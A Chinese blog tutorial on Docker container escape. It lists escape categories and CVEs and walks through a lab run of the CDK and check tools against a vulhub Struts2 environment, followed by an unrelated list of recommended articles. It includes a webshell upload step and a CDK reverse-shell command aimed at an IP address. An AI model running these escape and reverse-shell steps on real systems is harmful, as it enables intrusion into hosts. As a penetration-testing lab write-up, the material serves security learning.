云安全-云原生基于容器漏洞的逃逸自动化手法(CDK check)
0x00 docker逃逸的方法种类
1、不安全的配置:
容器危险挂载(挂载procfs,Scoket) 特权模式启动的提权(privileged)
2、docker容器自身的漏洞
3、linux系统内核漏洞
这里参考Twiki的云安全博客,下列为逃逸的种类与漏洞
https://wiki.teamssix.com/CloudNative/Docker/docker-escape-vulnerability-summary.html
1、Docker 自身漏洞
cve-2017-1002101
cve-2018-1002100
cve-2018-15664 符号链接替换漏洞
cve-2019-14271 加载不受信任的动态链接库
cve-2019-1002101
cve-2019-11246
cve-2019-11249
cve-2019-11251
cve-2019-16884
cve-2019-5736 runc 逃逸
cve-2020-15257 containerd逃逸
cve-2020-27151
kata-escape-2020
cve-2021-25741
cve-2021-30465
cve-2022-0492
#2、内核漏洞
cve-2016-5195 DirtyCow
cve-2017-1000112
cve-2020-14386
cve-2021-22555
cve-2022-0847 DirtyPipe#3、不安全的配置
privileged-container
mount-docker-sock
mount-host-etc
mount-host-procfs
mount-var-log
cap_dac_read_search-container
cap_sys_admin-container
0x01 runC逃逸&&containerd逃逸
上述的两种逃逸类型为docker的漏洞,分别是
CVE-2019-5736 runC容器逃逸
CVE-2020-15257 containerd逃逸
关于docker,runC的关系
Containerd:从容器编排角度,Containerd 是容器运行时。
RunC:RunC 是容器运行工具,纯从系统角度,Runc才是底层运行时 。
Docker:一般指的是 docker-shim,其也是一种容器运行时。
CVE-2019-5736 runC容器逃逸是基于一下两个条件:
Docker version <= 18.09.2
RunC version <= 1.0-rc6
满足下列的版本时候,可以尝试该docker漏洞逃逸提权,详细的实验过程这里不作赘述,相关的操作网上也有大量的文章,但是实际的环境去逃逸,还是就事论事,会有许多的其他情况发生。
CVE-2020-15257 containerd逃逸需要满足的条件为:
containerd < 1.4.3
containerd < 1.3.9
docker存在的漏洞版本:19.03.6~3-0
0x02 自动化检测工具CDK&&check
上面可以看到逃逸的种类的以及其中的方法很多,但是实际环境中,是时间紧任务重,一步步的尝试逃逸难免有些费事,这里列举两种工具,CDK和check,集成了自动逃逸方法检测,CDK还集成了对应的poc实现一键逃逸,
CDK三种使用场景:
Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。 Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
CDK的自动化逃逸中包含了挂载,特权等许多的自动化利用,

通过特权模式启动一台漏洞环境,使用CDK检测并且自动化逃逸:
dvwa环境cdk自动化失败:

拉取st2漏洞环境:
docker run --net=host -it -p 8888:8080 vulhub/struts2:s2-053
获取当前根目录后将木马上传到指定位置,连接格拉斯后上出纳CDK执行命令


执行cdk

逃逸成功

反弹shell:
./cdk_linux_amd64 run shim-pwn reverse 192.168.196.129 1111
反弹失败,暂未找到原因
check工具的检测:
直接上传执行即可,检测可能存在的逃逸提权漏洞

相关文章:
云安全-云原生基于容器漏洞的逃逸自动化手法(CDK check)
0x00 docker逃逸的方法种类 1、不安全的配置: 容器危险挂载(挂载procfs,Scoket) 特权模式启动的提权(privileged) 2、docker容器自身的漏洞 3、linux系统内核漏洞 这里参考Twiki的云安全博客,下…...
精选10款Python可视化工具,请查收
今天我们会介绍一下10个适用于多个学科的Python数据可视化库,其中有名气很大的也有鲜为人知的。 1、matplotlib matplotlib 是Python可视化程序库的泰斗。经过十几年它仍然是Python使用者最常用的画图库。它的设计和在1980年代被设计的商业化程序语言MATLAB非常接近…...
大数据(21)-skew-GroupBy
&&大数据学习&& 🔥系列专栏: 👑哲学语录: 承认自己的无知,乃是开启智慧的大门 💖如果觉得博主的文章还不错的话,请点赞👍收藏⭐️留言📝支持一下博主哦ᾑ…...
window压缩包安装mongodb并注册系统服务
下载解压包 https://fastdl.mongodb.org/windows/mongodb-windows-x86_64-5.0.22.zip启动mongod 解压压缩包 至 d:\mongodb目录中,创建目录data、logs。并创建配置文件mongod.conf输入以下配置 dbpath d:\mongodb\data logpath d:\mongodb\logs\mongo.log loga…...
【Java每日一题】——第四十五题:综合案例:模拟物流快递系统。(2023.11.1)
🎃个人专栏: 🐬 算法设计与分析:算法设计与分析_IT闫的博客-CSDN博客 🐳Java基础:Java基础_IT闫的博客-CSDN博客 🐋c语言:c语言_IT闫的博客-CSDN博客 🐟MySQL:…...
二十二、Arcpy批量波段组合——结合Landat数据城市建成区提取
一、前言 其实波段组合和GIS中栅格计算有点类似,实质上就是对每个像素点对应的DN值进行数学计算,也就是可以进行运算表达式是三个或多个变量相加、相减……每一个变量对应于一个图像数据,对这三个或多个图像数据求值并输出结果图像。 二、具体操作 1、实验具体目标 将202…...
电脑上数据恢复的详细操作
在日常使用电脑过程中,我们可能会遇到数据丢失的情况。无论是因为误删除、格式化、病毒攻击还是硬件故障,数据恢复都是我们迫切需要解决的问题。本文将介绍电脑数据恢复的详细操作步骤,帮助读者在面临数据丢失时能够迅速地恢复重要文件。 一…...
3.1 linux控制内核打印printk demsg DEBUG
本文主要内容: 1 列出内核打印级别 2 修改内核打印级别 方法1 编译时 方法2 uboot时 方法3 启动后 3 DEBUG宏控制妙用 4 内存中各种打印函数封装 5 测试示例代码 1 打印级别 #define KERN_EMERG "<0>" /* system is unusable */ #define KERN_ALERT …...
关于爬虫API常见的技术问题和解答
随着互联网的快速发展,数据获取变得越来越重要。爬虫API作为一种高效的数据获取手段,被广泛应用于各种场景。然而,在实际使用过程中,我们经常会遇到一些技术问题。本文将详细介绍爬虫API的常见技术问题及相应的解决方案。 一、爬…...
在CentOS上用yum方式安装MySQL8过程记录
此文参考官方文档一步一步记录安装到正常运行全过程 安装环境:centos7 mysql版本:8.0.35 安装过程主要参考下面两边文章: 1.官方文档 https://dev.mysql.com/doc/refman/8.0/en/linux-installation-yum-repo.html 2.linux yum安装mysql8 安…...
CEYEE希亦新品洗地机Pro系列发布, 领跑行业的「水汽混动」技术的旗舰新杰作
CEYEE希亦全新一代洗地机T800 PRO正式上市,采用双滚刷,双倍活水洗拖洗方式,达到拖一遍抵两遍,相对于10倍洁净效果! 这款希亦Pro系列产品不仅刷新了洗地机行业技术水准,满足了用户愈发极致的清洁效能追求&a…...
为什么要安装防静电门禁闸机
安装防静电门禁闸机可以带来以下几个方面的好处: 防止静电干扰:静电是一种非常危险的物理现象,它可以对电子元器件、电路板和其他敏感设备造成损害,甚至导致设备故障和生产中断。防静电门禁闸机可以有效地防止静电的产生和传导&am…...
[linux] shell中的()和{}
参考:https://www.cnblogs.com/cheer-lingmu/p/16467561.html 参考:shell中各种括号的作用详解()、(())、[]、[[]]、{}(推荐)_linux shell_脚本之家 一、小括号() 1、命令替换:等同于cmd,shell扫描一遍命令行,发现了…...
jdk官网下载(详细步骤)
jdk全部版本下载网址 Java Archive | Oraclehttps://www.oracle.com/java/technologies/downloads/archive/ 下载之前先建立oracle账号(免费创建),不用特意去搜,你点击下载jdk的时候会自动弹出来,自己建立一个账号就能下载了 找到自己要下载…...
10.24 校招 实习 内推 面经
绿*泡*泡: neituijunsir 交流裙 ,内推/实习/校招汇总表格 1、校招 | 吉利控股集团2024届全球校园招聘路特斯科技专场(内推) 校招 | 吉利控股集团2024届全球校园招聘路特斯科技专场(内推) 2、数字IC验证…...
Pico Neo4、Neo3开发手柄的使用交互监听
using System; using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.XR;public class InputEvent : MonoSingleton<InputEvent> {//*************输入设别**************************InputDevice leftHandController;Inp…...
【k8s】pod详解
一、Pod介绍 1、Pod的基础概念 Pod是kubernetes中最小的资源管理组件,Pod也是最小化运行容器化应用的资源对象,一个pod代表着集群中运行的一个进程。kubernetes中其它大多数组件都是围绕着pod来进行支持和扩展pod功能的。 例如,用于管理po…...
优思学院:质量管理7原则、8大要点
在质量管理的道路上,没有捷径可循。质量管理是一项需要不断积累经验和智慧的长期过程,其中涵盖了七大关键原则,这些原则是组织在质量管理方面取得持续成功的基石。 1. 以顾客为关注焦点 释义: 质量管理的核心在于满足顾客需求&am…...
自动化测试如何解析excel文件?
前言 自动化测试中我们存放数据无非是使用文件或者数据库,那么文件可以是csv,xlsx,xml,甚至是txt文件,通常excel文件往往是我们的首选,无论是编写测试用例还是存放测试数据,excel都是很方便的。…...
职场好物:乐歌M9S升降办公电脑台,告别久坐办公,升职加薪就选它
办公是现代生活不可避免的组成部分,科技的快速发展,给了我们更多新的生活方式,促使我们更加关注自己的身体状况,我们挨过了饭都吃不饱的年代,随着办公人群的不断扩张,不知道你有没有发现身边人或多或少都有…...
Leetcode 3576. Transform Array to All Equal Elements
Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接:3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到…...
Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件
今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...
【位运算】消失的两个数字(hard)
消失的两个数字(hard) 题⽬描述:解法(位运算):Java 算法代码:更简便代码 题⽬链接:⾯试题 17.19. 消失的两个数字 题⽬描述: 给定⼀个数组,包含从 1 到 N 所有…...
DAY 47
三、通道注意力 3.1 通道注意力的定义 # 新增:通道注意力模块(SE模块) class ChannelAttention(nn.Module):"""通道注意力模块(Squeeze-and-Excitation)"""def __init__(self, in_channels, reduction_rat…...
Auto-Coder使用GPT-4o完成:在用TabPFN这个模型构建一个预测未来3天涨跌的分类任务
通过akshare库,获取股票数据,并生成TabPFN这个模型 可以识别、处理的格式,写一个完整的预处理示例,并构建一个预测未来 3 天股价涨跌的分类任务 用TabPFN这个模型构建一个预测未来 3 天股价涨跌的分类任务,进行预测并输…...
【Java_EE】Spring MVC
目录 Spring Web MVC 编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 编辑参数重命名 RequestParam 编辑编辑传递集合 RequestParam 传递JSON数据 编辑RequestBody …...
【JavaWeb】Docker项目部署
引言 之前学习了Linux操作系统的常见命令,在Linux上安装软件,以及如何在Linux上部署一个单体项目,大多数同学都会有相同的感受,那就是麻烦。 核心体现在三点: 命令太多了,记不住 软件安装包名字复杂&…...
JVM 内存结构 详解
内存结构 运行时数据区: Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器: 线程私有,程序控制流的指示器,分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 每个线程都有一个程序计数…...
RabbitMQ入门4.1.0版本(基于java、SpringBoot操作)
RabbitMQ 一、RabbitMQ概述 RabbitMQ RabbitMQ最初由LShift和CohesiveFT于2007年开发,后来由Pivotal Software Inc.(现为VMware子公司)接管。RabbitMQ 是一个开源的消息代理和队列服务器,用 Erlang 语言编写。广泛应用于各种分布…...
从 GreenPlum 到镜舟数据库:杭银消费金融湖仓一体转型实践
作者:吴岐诗,杭银消费金融大数据应用开发工程师 本文整理自杭银消费金融大数据应用开发工程师在StarRocks Summit Asia 2024的分享 引言:融合数据湖与数仓的创新之路 在数字金融时代,数据已成为金融机构的核心竞争力。杭银消费金…...
